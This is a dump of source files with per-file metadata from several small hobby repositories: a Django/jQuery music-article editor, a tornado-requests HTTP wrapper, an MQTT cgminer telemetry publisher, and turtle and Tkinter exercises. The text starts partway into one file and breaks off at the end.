処理ここから\n change_view()\n // 処理ここまで\n }\n };\n})();\n\nfunction change_view(){\n var str = $('#writearea').val();\n\n var mtc = str.match(/%\\[([^\\]]*)\\]\\(http:\\/\\/([^)]*)\\)/);\n while(mtc != null){\n var tmp_str = '%\\\\)%\\\\(%' + mtc[1] + '\\\\' + mtc[2].replace(/\\//,'\\/') + '\\\\';\n str = str.replace(/%\\[([^\\]]*)\\]\\(http:\\/\\/([^)]*)\\)/,tmp_str);\n mtc = str.match(/%\\[([^\\]]*)\\]\\(http:\\/\\/([^)]*)\\)/);\n }\n str = marked(str);\n\n mtc = str.match(/%\\)%\\(%([^\\\\]*)\\\\([^\\\\]*)\\\\/);\n while(mtc != null){\n var tmp_str = '<audio src=\"http://' + mtc[2] + '\" controls>' + mtc[1] + \"</audio><br>\";\n str = str.replace(/%\\)%\\(%([^\\\\]*)\\\\([^\\\\]*)\\\\/,tmp_str)\n mtc = str.match(/%\\)%\\(%([^\\\\]*)\\\\([^\\\\]*)\\\\/);\n }\n console.log(str);\n\n $('#viewarea').html(str);\n $('#savearea').val(str);\n\n console.log($('#savearea').val());\n}\n\nvar next_img_id = 0;\n//写真部分\n$('#file_photo').change(function(){\n var file = $(this).prop('files')[0];\n console.log(file);\n var waiting_img = {\n \"id\":next_img_id,\n \"name\":file.name,\n }\n insertAtCaret('#writearea',\"[loading_img\" + next_img_id + \"]...\");\n next_img_id++;\n var data = new FormData();\n data.append('file_source', $(\"input[name='file_source']\").prop('files')[0]);\n data.append('id', next_img_id);\n data.append('name', file.name);\n\n $.ajax({\n url: \"/media/post\",\n type: 'post',\n enctype: 'multipart/form-data',\n data: data,\n cache: false,\n processData: false,\n contentType: false\n }).done((res) => {\n var response = JSON.parse(res);\n //var response = {\"id\":next_img_id-1,\"name\":file.name,\"url\":\"http://localhost/presstoorg/cm2-logo-panel_joel_wo_lang.png\"};\n var change_before = \"\\\\[loading_img\" + (next_img_id-1) + \"\\\\]\\\\.\\\\.\\\\.\";\n var currentUrl = window.location.protocol + '//' + window.location.hostname;\n var change_after = \"![\" + response.name + \"](\" + currentUrl + response.url + \")\";\n var str = $('#writearea').val();\n var regExp = new RegExp(change_before) ;\n var result = str.replace( regExp , change_after ) ;\n $('#writearea').val(result);\n console.log(change_before+\",\"+change_after);\n console.log(result);\n change_view();\n });\n\n\n\n $(this).val('');\n});\n\n\n//------------------------音声部分----------------------------\nvar next_msc_id = 0;\n//音声部分\n$('#file_music').change(function(){\n var file = $(this).prop('files')[0];\n console.log(file);\n var waiting_img = {\n \"id\":next_img_id,\n \"name\":file.name,\n }\n insertAtCaret('#writearea',\"[loading_msc\" + next_img_id + \"]...\");\n next_img_id++;\n var data = new FormData();\n data.append('file_source', $(\"input[name='file_music']\").prop('files')[0]);\n data.append('id', next_img_id);\n data.append('name', file.name);\n\n $.ajax({\n url: \"/media/post\",\n type: 'post',\n enctype: 'multipart/form-data',\n data: data,\n cache: false,\n processData: false,\n contentType: false\n }).done((res) => {\n var response = JSON.parse(res);\n //var response = {\"id\":next_img_id-1,\"name\":file.name,\"url\":\"http://localhost/presstoorg/bgm_maoudamashii_orchestra26.mp3\"};\n var change_before = \"\\\\[loading_msc\" + (next_img_id-1) + \"\\]...\";\n var currentUrl = window.location.protocol + '//' + window.location.hostname;\n var change_after = \"%[\" + response.name + \"](\" + currentUrl + response.url + \")\";\n var str = $('#writearea').val();\n var regExp = new RegExp(change_before) ;\n var result = str.replace( regExp , change_after ) ;\n $('#writearea').val(result);\n change_view();\n });\n\n\n\n\n $(this).val('');\n\n});\n\n\n//---------------------音声ここまで-------------------------\n\n$('#press').click(function(){\n var w_str = $('#writearea').val();\n var v_str = $('#viewarea').html();\n console.log(w_str);\n console.log(v_str);\n});\n\nfunction insertAtCaret(target, str) {\n var obj = $(target);\n obj.focus();\n if(navigator.userAgent.match(/MSIE/)) {\n var r = document.selection.createRange();\n r.text = str;\n r.select();\n } else {\n var s = obj.val();\n var p = obj.get(0).selectionStart;\n var np = p + str.length;\n obj.val(s.substr(0, p) + str + s.substr(p));\n obj.get(0).setSelectionRange(np, np);\n }\n}\n\n$('.chips input').attr('placeholder',\"タグをEnter区切りで入力\");\n\n});\n" }, { "alpha_fraction": 0.7157894968986511, "alphanum_fraction": 0.7157894968986511, "avg_line_length": 22.75, "blob_id": "13740be2151b4c2960481575c72de7a0537f3ce8", "content_id": "3e09ca7b26a3ed85b58cf0a77d18bcbcc5db8e27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 190, "license_type": "no_license", "max_line_length": 35, "num_lines": 8, "path": "/app/media/forms.py", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "from django import forms\n\nclass FileUploadForm(forms.Form):\n file_source = forms.FileField()\n\nclass IineForm(forms.Form):\n user_id = forms.CharField()\n tirac_id = forms.CharField()\n" }, { "alpha_fraction": 0.7195767164230347, "alphanum_fraction": 0.7248677015304565, "avg_line_length": 21.235294342041016, "blob_id": "295b7bef37c57e941a52c220f2398c061e91d947", "content_id": "f15ae950dc273f188a226fa2569dcd85e712a325", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 378, "license_type": "no_license", "max_line_length": 42, "num_lines": 17, "path": "/app/article/admin.py", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "from django.contrib import admin\n\nfrom .models import Tirac, Score, Comment\n\nclass ScoreInline(admin.StackedInline):\n model = Score\n extra = 1\n\nclass CommentInline(admin.StackedInline):\n model = Comment\n extra = 3\n\nclass TiracAdmin(admin.ModelAdmin):\n field = ['subject', 'body']\n inlines = [ScoreInline, CommentInline]\n\nadmin.site.register(Tirac, TiracAdmin)\n" }, { "alpha_fraction": 0.6833333373069763, "alphanum_fraction": 0.7108333110809326, "avg_line_length": 27.571428298950195, "blob_id": "63ccbd5acc2e96e8ea4f63017c8e571c9f788c4d", "content_id": "ca796488797eee4c83fb98bec5e5fa6aeb2a7629", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1200, "license_type": "no_license", "max_line_length": 62, "num_lines": 42, "path": "/app/article/models.py", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.contrib.auth.models import User\n\nclass Tirac(models.Model):\n user = models.ForeignKey(User, null=True)\n subject = models.CharField(max_length=100)\n body = models.CharField(max_length=10000)\n md = models.CharField(max_length=30000)\n header_img = models.CharField(max_length=100)\n\n def __str__(self):\n return self.subject\n\n\nclass Score(models.Model):\n tirac = models.ForeignKey(Tirac)\n title = models.CharField(max_length=100)\n data = models.CharField(max_length=1000, null=True)\n\n def __str__(self):\n return self.title\n\n\nclass Comment(models.Model):\n user = models.ForeignKey(User, null=True)\n tirac = models.ForeignKey(Tirac, on_delete=models.CASCADE)\n text = models.CharField(max_length=5000)\n audio = models.CharField(max_length=100)\n\n\nclass Iine(models.Model):\n user = models.ForeignKey(User)\n tirac = models.ForeignKey(Tirac, on_delete=models.CASCADE)\n\n\nclass Tags(models.Model):\n tagname = models.CharField(max_length=100, unique=True)\n\n\nclass SetTag(models.Model):\n tirac = models.ForeignKey(Tirac, on_delete=models.CASCADE)\n tag = models.ForeignKey(Tags, on_delete=models.CASCADE)\n" }, { "alpha_fraction": 0.837837815284729, "alphanum_fraction": 0.837837815284729, "avg_line_length": 17.5, "blob_id": "3e546fe83249307698dda659de42732499bf4fd9", "content_id": "7ad0e09f3e7f8477076ab7bad1294d7ff69bf829", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 59, "license_type": "no_license", "max_line_length": 21, "num_lines": 2, "path": "/README.md", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "# psychic-octo-waddle\nOSS活動を音楽に取り入れる\n" }, { "alpha_fraction": 0.6133333444595337, "alphanum_fraction": 0.6133333444595337, "avg_line_length": 21.5, "blob_id": "36d9fa7aa27869f15d7f92e24c3addd4ff7c335e", "content_id": "a4199cf68e8bf2615f5058e390a128bbb38f3f9e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 225, "license_type": "no_license", "max_line_length": 44, "num_lines": 10, "path": "/app/media/urls.py", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\n\nfrom . import views\n\napp_name = 'media'\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^post$', views.post, name='post'),\n url(r'^iine$', views.iine, name='iine'),\n]\n" } ]
16
naylormade/MIT-OCW-studies
https://github.com/naylormade/MIT-OCW-studies
72d46e296e8d1167a996e8ddfe1905be45cf1d02
0cd383a9534e3d93db3f33a1723fc956edd4960f
e653850ad4254fdf8a796cdeb58910ecc8b88c77
refs/heads/master
2022-11-15T22:34:51.232089
2022-11-13T16:29:44
2022-11-13T16:29:44
224,039,700
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6427688598632812, "alphanum_fraction": 0.6934487223625183, "avg_line_length": 35.772727966308594, "blob_id": "6e85dfff1655bfb4700b3fbc732f9b1c0b8b5d4e", "content_id": "be08f5391a926d3f07dc6622b79457338f07ca90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 809, "license_type": "no_license", "max_line_length": 94, "num_lines": 22, "path": "/6-001 - Python/ps1b.py", "repo_name": "naylormade/MIT-OCW-studies", "src_encoding": "UTF-8", "text": "total_months = 0\n\ntotal_cost = 500000.0 #float(input(\"Cost of dream home\"))\nannual_salary = 120000.0 #float(input(\"Starting annual salary?\"))\nportion_saved = .05 #float(input(\"Portion to save? (decimal)\"))\nsemi_annual_raise = .03 #float(input(\"What is your semi-annual raise percentage? (decimal)\"))\ncurrent_savings = 0\nportion_down_payment = 0.25\n\n#annual_savings = annual_salary * portion_saved\n#annual_returns = current_savings * 0.04/12.0\n\ndown_payment = total_cost * portion_down_payment\n\nwhile current_savings < down_payment:\n annual_returns = current_savings * 0.04/12.0\n current_savings += annual_returns + ((annual_salary / 12) * portion_saved)\n total_months += 1\n if total_months % 6 == 0:\n annual_salary *= (1 + semi_annual_raise)\n\nprint(f'Number of months: {total_months}')\n" }, { "alpha_fraction": 0.5476804375648499, "alphanum_fraction": 0.6146907210350037, "avg_line_length": 24.064516067504883, "blob_id": "8b3c9c11d87f0a9b34b87fd882d44c8f7b1bd846", "content_id": "6f1959970bdfe225fc1e8cda6dbfdb9621e805cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 776, "license_type": "no_license", "max_line_length": 94, "num_lines": 31, "path": "/6-001 - Python/ps1c.py", "repo_name": "naylormade/MIT-OCW-studies", "src_encoding": "UTF-8", "text": "total_cost = 1000000.0 #float(input(\"Cost of dream home\"))\nstarting_salary = 150000.0 #float(input(\"Starting salary?\"))\n#portion_saved = .05 #float(input(\"Portion to save? (decimal)\"))\nsemi_annual_raise = .07 #float(input(\"What is your semi-annual raise percentage? (decimal)\"))\nannual_return = .04\ncurrent_savings = 0\nportion_down_payment = 0.25\n\nepsilon = 0.01\nsteps = 0\n\nx = total_cost\nlow = 0.0\nhigh = max(1.0, x)\n\nans = (high + low) / 2.0\n\nwhile abs(ans**2 - x) >= 100 and steps < 10000:\n steps += 1\n if steps > 9998:\n print(\"It is not possible.\")\n break\n if ans**2 < x:\n low = ans\n else:\n high = ans\n ans = (high + low) / 2.0\n\nprint(f'starting salary: {starting_salary}')\nprint(f'Best rate: {ans}')\nprint(f'Steps: {steps}')" }, { "alpha_fraction": 0.6803953647613525, "alphanum_fraction": 0.7133443355560303, "avg_line_length": 30.947368621826172, "blob_id": "6d7bcd82cb8be6f395ba3f9f857ba8ffd75de4b0", "content_id": "de3e57c5d36bca33e544191775b29fa6c274d9d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 607, "license_type": "no_license", "max_line_length": 78, "num_lines": 19, "path": "/6-001 - Python/ps1a.py", "repo_name": "naylormade/MIT-OCW-studies", "src_encoding": "UTF-8", "text": "total_months = 0\n\ntotal_cost = float(input(\"Cost of dream home\"))\nannual_salary = float(input(\"Starting annual salary?\"))\nportion_saved = float(input(\"Portion to save? (decimal)\"))\ncurrent_savings = 0\nportion_down_payment = 0.25\n\n#annual_savings = annual_salary * portion_saved\n#annual_returns = current_savings * 0.04/12.0\n\ndown_payment = total_cost * portion_down_payment\n\nwhile current_savings < down_payment:\n annual_returns = current_savings * 0.04/12.0\n current_savings += annual_returns + ((annual_salary / 12) * portion_saved)\n total_months += 1\n\nprint(f'Number of months: {total_months}')\n" }, { "alpha_fraction": 0.795918345451355, "alphanum_fraction": 0.795918345451355, "avg_line_length": 48.5, "blob_id": "30b9af9e7927ec0a521d00deb35e28a78673e6df", "content_id": "9a1df9d0ea6d9a7f3df08fd9fb6ad4bbc3e8907b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 98, "license_type": "no_license", "max_line_length": 80, "num_lines": 2, "path": "/README.md", "repo_name": "naylormade/MIT-OCW-studies", "src_encoding": "UTF-8", "text": "# MIT-OCW-studies\nGoing through some MIT OCW courses to advance skills - this is my starting point" } ]
4
hfldqwe/tornado-requests
https://github.com/hfldqwe/tornado-requests
acf2da8c6b529d8abfd2420ef4f26728886ccf36
e7a7897289c9e53ea722eccf3852591a8ca65682
930dfebbbba3d5cc2e91e7860a70ef832eda95e9
refs/heads/master
2020-04-17T18:32:26.737610
2019-01-21T16:35:35
2019-01-21T16:35:35
166,830,721
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6720977425575256, "alphanum_fraction": 0.6782077550888062, "avg_line_length": 25.27777862548828, "blob_id": "a1ebd749e013bed31ce8e6d499109ed79c7a917b", "content_id": "f6a3f162afad04253b5670c0c79bcee8c8d90494", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 509, "license_type": "permissive", "max_line_length": 58, "num_lines": 18, "path": "/setup.py", "repo_name": "hfldqwe/tornado-requests", "src_encoding": "UTF-8", "text": "import setuptools\r\nfrom setuptools import setup\r\n\r\ndef read(file):\r\n\twith open(file,\"r\") as fn:\r\n\t\treturn fn.read()\r\n\r\nsetup(\r\n\tname='tornado-requests',\r\n version='0.1.2',\r\n description='对tornado中AsyncHTTPClient的一个简单封装',\r\n\tlong_description = read(\"README.md\"),\r\n\tlong_description_content_type=\"text/markdown\",\r\n url='https://github.com/hfldqwe/tornado-requests.git',\r\n author='hfldqwe',\r\n author_email='[email protected]',\r\n license='MIT',\r\n packages=setuptools.find_packages())\r\n" }, { "alpha_fraction": 0.7878788113594055, "alphanum_fraction": 0.7878788113594055, "avg_line_length": 21, "blob_id": "6b2f08b6e459d04be1a1b8098ba59c4254b5325e", "content_id": "806672e70330445d918e3905765383fc3f5c7aa9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 66, "license_type": "permissive", "max_line_length": 38, "num_lines": 3, "path": "/build/lib/tornado-requests/__init__.py", "repo_name": "hfldqwe/tornado-requests", "src_encoding": "UTF-8", "text": "name = \"tornado_requests\"\n\nfrom .tornado_requests import requests\n" }, { "alpha_fraction": 0.7810945510864258, "alphanum_fraction": 0.7810945510864258, "avg_line_length": 22.625, "blob_id": "8f37f0e8586f03f8b18dff77ea3bfaf55232d5ef", "content_id": "f5de7c0479004734a8a731e87ca20f7eae6ecf8d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 343, "license_type": "permissive", "max_line_length": 55, "num_lines": 8, "path": "/README.md", "repo_name": "hfldqwe/tornado-requests", "src_encoding": "UTF-8", "text": "# Tornado-requests模块 #\r\n\r\n这是一个对tornado中异步客户端AsyncHTTPClient进行封装的模块,希望提供更加简洁的api\r\n\r\n在使用tornado作为后端接口的同时,希望能够更加轻松的编写**异步爬虫**\r\n\r\n详细的文档,你可以参考\r\n[Github项目](https://github.com/hfldqwe/tornado-requests)\r\n\r\n\r\n" }, { "alpha_fraction": 0.5737756490707397, "alphanum_fraction": 0.5750395059585571, "avg_line_length": 27.579439163208008, "blob_id": "3fda053d1bb5368442a49799479bc202efe7b34a", "content_id": "ad11eaadec9d9cd2c894c7f1d7362cb6bcacacdb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3399, "license_type": "permissive", "max_line_length": 86, "num_lines": 107, "path": "/build/lib/tornado-requests/tornado_requests.py", "repo_name": "hfldqwe/tornado-requests", "src_encoding": "UTF-8", "text": "import urllib.parse\r\ntry:\r\n\tfrom tornado.curl_httpclient import CurlAsyncHTTPClient as AsyncHTTPClient\r\nexcept:\r\n\tfrom tornado.httpclient import AsyncHTTPClient\r\n\r\nclass Single():\r\n ''' 单例模式 '''\r\n def __new__(cls, *args, **kwargs):\r\n if not hasattr(cls,\"_instance\"):\r\n cls._instance = super().__new__(cls)\r\n return cls._instance\r\n\r\ndef urlencode(url,query):\r\n ''' 用来处理url '''\r\n return url + \"?\" + urllib.parse.urlencode(query)\r\n\r\nclass Response():\r\n def __init__(self,request):\r\n self._content = None\r\n self.encoding = None\r\n self.request = request\r\n\r\n # 生成response对象\r\n @classmethod\r\n def _response(cls,response,request):\r\n resp = cls(request)\r\n ''' 这个地方可能有些问题,这个request对象应该返回我们封装的request对象,而不是tornado中的request对象\r\n 但由于暂时request对象没有封装好,所以,暂时保留tornado中的request的对象,所以说,现在的request在之后会被替换\r\n '''\r\n resp.__dict__.update(response.__dict__)\r\n return resp\r\n\r\n @property\r\n def body(self):\r\n if self.buffer is None:\r\n return None\r\n elif self._body is None:\r\n self._body = self.buffer.getvalue()\r\n\r\n return self._body\r\n\r\n @property\r\n def content(self):\r\n if self.buffer is None:\r\n return None\r\n elif self._body is None:\r\n self._body = self.buffer.getvalue()\r\n\r\n return self._body\r\n\r\n @property\r\n def text(self):\r\n if not self.encoding:\r\n self.encoding = \"utf-8\"\r\n return self.content.decode(encoding=self.encoding,errors=\"ignore\")\r\n\r\n @property\r\n def status(self):\r\n return self.code\r\n\r\nclass Request(Single):\r\n def __init__(self):\r\n if not hasattr(self,\"client\"):\r\n self.client = AsyncHTTPClient()\r\n\r\n def prepare(self,\r\n url=None, headers={}, files=None, data=None,\r\n params=None, auth=None, cookies=None, hooks=None, json=None,**kwargs):\r\n ''' 暂时只重写了部分参数,其他暂时空缺 '''\r\n body = urllib.parse.urlencode(data) if data else \"\"\r\n if params:\r\n url = url + \"?\" + urllib.parse.urlencode(query=params)\r\n if cookies:\r\n headers.update({\"Cookie\":urllib.parse.urlencode(cookies)})\r\n\r\n return url,{\r\n \"headers\":headers,\r\n \"body\":body,\r\n }\r\n\r\n async def requests(self,method,url,**kwargs):\r\n ''' 相当于一个基本的请求 '''\r\n url,kwargs = self.prepare(url=url,**kwargs)\r\n\r\n response = await self.client.fetch(url,method=method,**kwargs)\r\n resp = Response._response(response=response,request=self)\r\n return resp\r\n\r\n async def get(self,url,**kwargs):\r\n response = await self.requests(method=\"GET\",url=url,**kwargs)\r\n return response\r\n\r\n async def post(self,url,**kwargs):\r\n return await self.requests(method=\"POST\", url=url,**kwargs)\r\n\r\n\r\nrequests = Request()\r\n\r\n# 测试代码\r\n# if __name__ == '__main__':\r\n# import asyncio\r\n# loop = asyncio.get_event_loop()\r\n# async def main():\r\n# response = await requests.post(\"https://www.baidu.com\",cookies={\"abc\":123})\r\n# print(response.text)\r\n# loop.run_until_complete(main())\r\n" } ]
4
Negashev/mqtt-cgminer
https://github.com/Negashev/mqtt-cgminer
0fe7fb5062b8f1f007c3545d327f9ed5d7a9f501
d9778ab0ddd8c88d485c6f67117b49eff39da85b
e7b3a8020cdafdbefd48d6fd7660678acc7012cb
refs/heads/master
2021-01-24T02:00:14.413985
2018-04-01T14:25:46
2018-04-01T14:25:46
122,832,667
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6575576663017273, "alphanum_fraction": 0.6660973429679871, "avg_line_length": 28.274999618530273, "blob_id": "185ec37e962a745c90adecaf4e25704d4ca6946a", "content_id": "a221dd48bef5d950ea69629943ffaa391180fdac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1171, "license_type": "no_license", "max_line_length": 95, "num_lines": 40, "path": "/main.py", "repo_name": "Negashev/mqtt-cgminer", "src_encoding": "UTF-8", "text": "import os\nimport json\nfrom time import sleep\n\nimport paho.mqtt.client as mqtt\nfrom pycgminer import CgminerAPI\n\ncgminer = CgminerAPI(host=os.getenv('CGMINER_HOST'), port=int(os.getenv('CGMINER_PORT')))\n\n\ndef on_connect(client, userdata, flags, rc):\n if rc == 0:\n print(\"Connected to broker \" + os.getenv('MQTT_HOST') + \":\" + os.getenv('MQTT_PORT'))\n global Connected # Use global variable\n Connected = True # Signal connection\n else:\n print(\"Connection failed\")\n\n\nclient = mqtt.Client()\n# Register connect callback\nclient.on_connect = on_connect\n# Set access token\nclient.username_pw_set(os.getenv('MQTT_PASS'))\n# Connect to ThingsBoard using default MQTT port and 60 seconds keepalive interval\nclient.connect(os.getenv('MQTT_HOST'), int(os.getenv('MQTT_PORT')), 60)\n\nclient.loop_start() # start the loop\n\ntry:\n while True:\n try:\n client.publish(\"v1/devices/me/telemetry\", json.dumps(cgminer.estats()['STATS'][0]))\n sleep(int(os.getenv('SLEEP_TIME', 1)))\n except Exception as e:\n print(e)\n sleep(10)\nexcept KeyboardInterrupt:\n client.disconnect()\n client.loop_stop()\n" }, { "alpha_fraction": 0.6393442749977112, "alphanum_fraction": 0.6967213153839111, "avg_line_length": 26.11111068725586, "blob_id": "8ee5cf693b85c1a94ad1a679412a22e45bb649cd", "content_id": "9099020de4b83a1269974d1743c07945186cb4aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 244, "license_type": "no_license", "max_line_length": 48, "num_lines": 9, "path": "/Dockerfile", "repo_name": "Negashev/mqtt-cgminer", "src_encoding": "UTF-8", "text": "FROM arm32v6/python:2-alpine3.7\nRUN pip install paho-mqtt pycgminer cayenne-mqtt\nENV MQTT_PORT=1883 \\\n MQTT_HOST=localhost \\\n MQTT_PASS=TOKEN \\\n CGMINER_HOST=localhost \\\n CGMINER_PORT=4028\nCMD [\"python\", \"main.py\"]\nADD *.py ./\n" }, { "alpha_fraction": 0.7081514000892639, "alphanum_fraction": 0.7212518453598022, "avg_line_length": 34.230770111083984, "blob_id": "87dc9f737af3867bdb35a7bb92389539618d02ea", "content_id": "37849b5853377d6ee0a8ef513f794b4f9e34d562", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1374, "license_type": "no_license", "max_line_length": 111, "num_lines": 39, "path": "/cayenne-main.py", "repo_name": "Negashev/mqtt-cgminer", "src_encoding": "UTF-8", "text": "import json\nimport os\nimport time\nimport cayenne.client\nfrom pycgminer import CgminerAPI\n\n# Cayenne authentication info. This should be obtained from the Cayenne Dashboard.\nMQTT_USERNAME = os.getenv('MQTT_USERNAME')\nMQTT_PASSWORD = os.getenv('MQTT_PASSWORD')\nMQTT_CLIENT_ID = os.getenv('MQTT_CLIENT_ID')\n\n\n# The callback for when a message is received from Cayenne.\ndef on_message(message):\n print(\"message received: \" + str(message))\n # If there is an error processing the message return an error string, otherwise return nothing.\n\n\ncgminer = CgminerAPI(host=os.getenv('CGMINER_HOST'), port=int(os.getenv('CGMINER_PORT')))\n\nclient = cayenne.client.CayenneMQTTClient()\nclient.on_message = on_message\nclient.begin(MQTT_USERNAME, MQTT_PASSWORD, MQTT_CLIENT_ID)\n# For a secure connection use port 8883 when calling client.begin:\n# client.begin(MQTT_USERNAME, MQTT_PASSWORD, MQTT_CLIENT_ID, port=8883)\n\ntimestamp = 0\n\nwhile True:\n client.loop()\n\n if (time.time() > timestamp + 5):\n STATS = cgminer.estats()['STATS'][0]\n client.celsiusWrite(1, int(STATS[\"temp1\"]))\n client.celsiusWrite(2, int(STATS[\"temp2\"]))\n\n client.virtualWrite(3, float(STATS['voltage']), cayenne.client.TYPE_VOLTAGE, cayenne.client.UNIT_VOLTS)\n client.virtualWrite(4, float(STATS[\"GHS 5s\"]), cayenne.client.TYPE_VOLTAGE, 'GHs')\n timestamp = time.time()\n" } ]
3
RAYCHEV/python
https://github.com/RAYCHEV/python
53643c346e6859ffa37b0314d4d355029603b2bc
99c44f5d9128ce01cfbb10d97b839a2358cea07e
b5e961aad1b4672ad4c42496edf09683236a6aae
refs/heads/master
2022-11-08T05:23:10.630772
2017-01-05T14:07:44
2017-01-05T14:07:44
64,087,707
0
1
null
2016-07-24T22:03:50
2016-07-26T23:03:08
2017-01-05T14:08:15
Python
[ { "alpha_fraction": 0.5365853905677795, "alphanum_fraction": 0.5609756112098694, "avg_line_length": 9.5, "blob_id": "95a90a71dd1204f28fa42a2ce907eaab0d29e594", "content_id": "19808bd8d6d1426e600ea6d442c0abfa4af5eeaf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 41, "license_type": "no_license", "max_line_length": 14, "num_lines": 4, "path": "/firstInWindows/Firs.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "def my_menu():\n return 0;\n\nprint(\"ok\")" }, { "alpha_fraction": 0.5674418807029724, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 12.4375, "blob_id": "4ad13e710b12b847564cdb020ca3b518f35b5a77", "content_id": "a8af89e54c3a5f6d2155a2273b6d0bb8e5f90aec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 215, "license_type": "no_license", "max_line_length": 49, "num_lines": 16, "path": "/SoftUni-Python3/1_turtle/5_count_iterations.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "import turtle\n\ng = 134\nl = 120\ni=\"\"\n\nwhile not i.isdigit():\n i = input('Enter count iterations: ').strip()\n\ni = int(i)\nfor ii in range(0, i):\n turtle.left(g)\n turtle.forward(l)\n print(ii)\n\nturtle.done()\n" }, { "alpha_fraction": 0.7471264600753784, "alphanum_fraction": 0.7471264600753784, "avg_line_length": 16.399999618530273, "blob_id": "486584e745ff3cdc20ed40c6fa47c19378ca0321", "content_id": "b1553927cdf65ccc981f0c2b7b39ee53adea9575", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 87, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/django/first/pollss/apps.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass PollssConfig(AppConfig):\n name = 'pollss'\n" }, { "alpha_fraction": 0.585106372833252, "alphanum_fraction": 0.6425532102584839, "avg_line_length": 21.428571701049805, "blob_id": "8f7bca09ca5915f54f6212961909f1cd6b0de979", "content_id": "03e2e9999a0c327fae303f1e1f0e265555e519c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 470, "license_type": "no_license", "max_line_length": 71, "num_lines": 21, "path": "/SoftUni-Python3/1_turtle/colorFull.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "import turtle\nimport random\n\nturtle.speed('fastest')\n\n\nside_size = 10\nangle = 74\n\nturtle.colormode(255)\nturtle.bgcolor('black')\nfor side_size in range(10,510):\n\n turtle.pencolor(random.randrange(side_size//4, 255 - side_size//4),\n random.randrange(side_size//4, 255 - side_size//4),\n random.randrange(side_size//4, 255 - side_size//4))\n turtle.forward(side_size)\n turtle.left(int(angle))\n print(side_size)\n\nturtle.done()" }, { "alpha_fraction": 0.5467625856399536, "alphanum_fraction": 0.5611510872840881, "avg_line_length": 16.375, "blob_id": "08b5d6db907538726813376c5d20b1e0cf5fbba3", "content_id": "8f12404f756769e9500e3b94e619ceed69456afb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 145, "license_type": "no_license", "max_line_length": 39, "num_lines": 8, "path": "/The_Python_SU_course/floating_demos.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "info = \"Машала\".encode('utf-8')\n\nvalue = 'mashala'\n\nfor i, val in enumerate(value):\n print(i+1, \".\", val, end=\"%\\n\")\n\nprint(\"nice\")\n" }, { "alpha_fraction": 0.6953937411308289, "alphanum_fraction": 0.7072808146476746, "avg_line_length": 24.923076629638672, "blob_id": "e1b6963de3e8064561db0bd91db8e5b365a4f6c9", "content_id": "02f19c8c9060dbc1ff63e3304a15ba98f20a105e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 673, "license_type": "no_license", "max_line_length": 92, "num_lines": 26, "path": "/TkinterGUI/1Pack.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "from tkinter import *\nfrom time import sleep\nroot = Tk()\n\ndef btn_one():\n print('button one is pressed')\n return 1\n\n\ntop_frame = Frame(root)\ntop_frame.pack()\nbottom_frame = Frame(root)\nbottom_frame.pack(side=BOTTOM)\n\nbutton_one = Button(top_frame, text = \"Button one\", fg='red', bg='green', command = btn_one)\nbutton_two = Button(top_frame, text = \"Button two\")\nbutton_three = Button(top_frame, text = \"Button three\")\nbutton_four = Button(bottom_frame, text = \"Button four\", fg='blue')\n\nbutton_one.pack(side=LEFT)\nbutton_two.pack(side=LEFT)\nbutton_three.pack(side=LEFT)\nbutton_four.pack(side=BOTTOM)\n\nroot.after(30000, lambda: root.destroy()) # 30 sec\nroot.mainloop()" }, { "alpha_fraction": 0.5355648398399353, "alphanum_fraction": 0.5397489666938782, "avg_line_length": 25.66666603088379, "blob_id": "560f95c8c4a70a189d2c0ade65adf165320b45b8", "content_id": "3f7f5ad3a29d40d5c7a0a185689c06a768904734", "detected_licenses": [], "is_generated": false, "is_vendor": false, 